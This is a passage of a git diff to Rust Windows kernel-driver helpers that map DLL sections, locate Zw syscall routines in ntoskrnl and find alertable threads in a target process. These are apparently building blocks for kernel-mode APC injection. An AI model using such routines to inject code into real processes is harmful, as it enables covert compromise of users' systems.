if name_module == function_name {
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return Some(address);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
next = (*next).Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Maps a DLL into memory.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `name`: The name of the DLL to be mapped.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<(HANDLE, *mut c_void)>`: Containing the handle to the section and a pointer to the mapped view if successful.
|
||||||
|
///
|
||||||
|
pub unsafe fn map_dll(name: &str) -> Option<(HANDLE, *mut c_void)> {
|
||||||
|
let mut section_handle = null_mut();
|
||||||
|
let dll = crate::utils::uni::str_to_unicode(name);
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
||||||
|
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwOpenSection Failed With Status: {status}");
|
||||||
|
return None
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut large: LARGE_INTEGER = zeroed();
|
||||||
|
let mut addr = null_mut();
|
||||||
|
let mut view_size = 0;
|
||||||
|
status = ZwMapViewOfSection(
|
||||||
|
section_handle,
|
||||||
|
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
||||||
|
&mut addr,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
&mut large,
|
||||||
|
&mut view_size,
|
||||||
|
ViewUnmap,
|
||||||
|
0,
|
||||||
|
PAGE_READONLY,
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwMapViewOfSection Failed With Status: {status}");
|
||||||
|
ZwClose(section_handle);
|
||||||
|
return None
|
||||||
|
}
|
||||||
|
|
||||||
|
Some((section_handle, addr))
|
||||||
|
}
|
||||||
|
|
||||||
/// Finds the address of a specified Zw function.
|
/// Finds the address of a specified Zw function.
|
||||||
///
|
///
|
||||||
/// # Parameters
|
/// # Parameters
|
||||||
@@ -390,9 +460,9 @@ pub unsafe fn find_zw_function(name: &str) -> Option<usize> {
|
|||||||
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
|
||||||
];
|
];
|
||||||
|
|
||||||
let dos_header = ntoskrnl_addr as *mut IMAGE_DOS_HEADER;
|
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
||||||
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||||
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *mut IMAGE_SECTION_HEADER;
|
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
|
||||||
|
|
||||||
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
|
||||||
let section = (*section_header.add(i)).Name;
|
let section = (*section_header.add(i)).Name;
|
||||||
@@ -450,11 +520,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD>
|
|||||||
while (*process_info).NextEntryOffset != 0 {
|
while (*process_info).NextEntryOffset != 0 {
|
||||||
let pid = (*process_info).UniqueProcessId as usize;
|
let pid = (*process_info).UniqueProcessId as usize;
|
||||||
if pid == target_pid {
|
if pid == target_pid {
|
||||||
let threads_slice = core::slice::from_raw_parts(
|
let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,);
|
||||||
(*process_info).Threads.as_ptr(),
|
|
||||||
(*process_info).NumberOfThreads as usize,
|
|
||||||
);
|
|
||||||
|
|
||||||
for &thread in threads_slice {
|
for &thread in threads_slice {
|
||||||
let thread_id = thread.ClientId.UniqueThread as usize;
|
let thread_id = thread.ClientId.UniqueThread as usize;
|
||||||
let target_thread = match crate::thread::Thread::new(thread_id) {
|
let target_thread = match crate::thread::Thread::new(thread_id) {
|
||||||
@@ -562,7 +628,6 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
|
|||||||
};
|
};
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ZwCreateFile Failed With Status: {status}");
|
log::error!("ZwCreateFile Failed With Status: {status}");
|
||||||
unsafe { ZwClose(h_file) };
|
|
||||||
return Err(status);
|
return Err(status);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user